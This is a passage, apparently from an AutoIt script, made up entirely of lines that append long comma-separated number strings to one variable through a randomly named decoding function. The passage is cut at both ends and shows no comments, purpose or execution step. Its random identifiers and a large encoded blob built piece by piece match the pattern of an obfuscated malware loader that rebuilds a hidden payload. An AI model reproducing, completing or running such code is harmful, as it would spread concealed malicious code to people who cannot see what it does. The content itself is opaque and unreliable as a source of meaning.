("57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,58,57,57,57,54,56,60,57,54,57,54,57,54,57,54,57,55,56,6,57,59,56,59,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,57,55,56,6,56,5,56,57,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,60,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,57,55,56,6,56,6,56,55,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,56,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,57,55,56,6,56,53,56,53,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,6,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,57,55,56,6,56,54,56,5,57,55,57,58,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,55,56,59,57,57,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,54,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,56,6,56,5,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,57,55,56,6,56,5,57,55,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,57,55,56,6,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,59,57,55,57,59,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,56,56,60,56,60,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,56,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,59,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("58,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,57,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,6,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,56,58,57,55,56,5,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,6,56,5,56,6,56,55,56,5,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,57,55,56,6,56,55,56,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,58,56,6,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,57,58,56,53,56,55,56,60,57,57,56,6,56,5,56,6,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,5,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,5,56,60,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,6,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,5,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,53,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,55,57,55,56,6,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,54,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,57,57,59,56,55,57,55,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,6,56,55,57,55,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,56,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,56,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,57,56,60,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,55,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,57,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,56,5,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,58,57,55,56,53,57,54,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,56,6,56,5,56,6,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,55,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,57,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,6,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,56,58,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,59,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,55,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,59,57,55,56,54,57,54,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,6,56,5,56,6,56,55,56,59,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,56,57,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,6,56,60,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,57,59,56,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,60,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,60,56,55,56,60,57,55,56,6,56,6,56,59,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,54,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,60,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,57,57,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("59,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,6,56,6,57,56,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,56,56,6,57,56,56,6,56,55,57,54,56,60,57,54,56,5" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,56,54,56,56,56,6,57,56,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,55,57,55,56,55,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,6,56,5,56,56,56,55,56,54,56,60,56,6,57,56,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,57,57,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,57,55,56,6,56,53,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,56,56,6,57,56,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,57,56,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,59,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,6,56,6,57,56,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,60,56,54,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,56,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,57,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,57,55,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,6,56,6,56,5,56,56,56,55,56,56,57,57,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,56,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,56,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,57,55,56,6,57,57,57,55,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,6,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,57,57,56,6,57,56,56,6,56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,56,5,56,56,56,55,56,57,56,60,56,6,57,56,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,60,57,57,56,6,56,5,56,56,56,55,56,58,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,6,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,57,56,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,59,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,56,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,54,57,59,56,55,57,55,56,6,56,5,56,56,56,55,56,58,56,60,56,6,57,58,56,56,56,55,56,60,56,6,56,55,56,5,56,6,57,56,56,53,56,55,56,60,57,57,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA 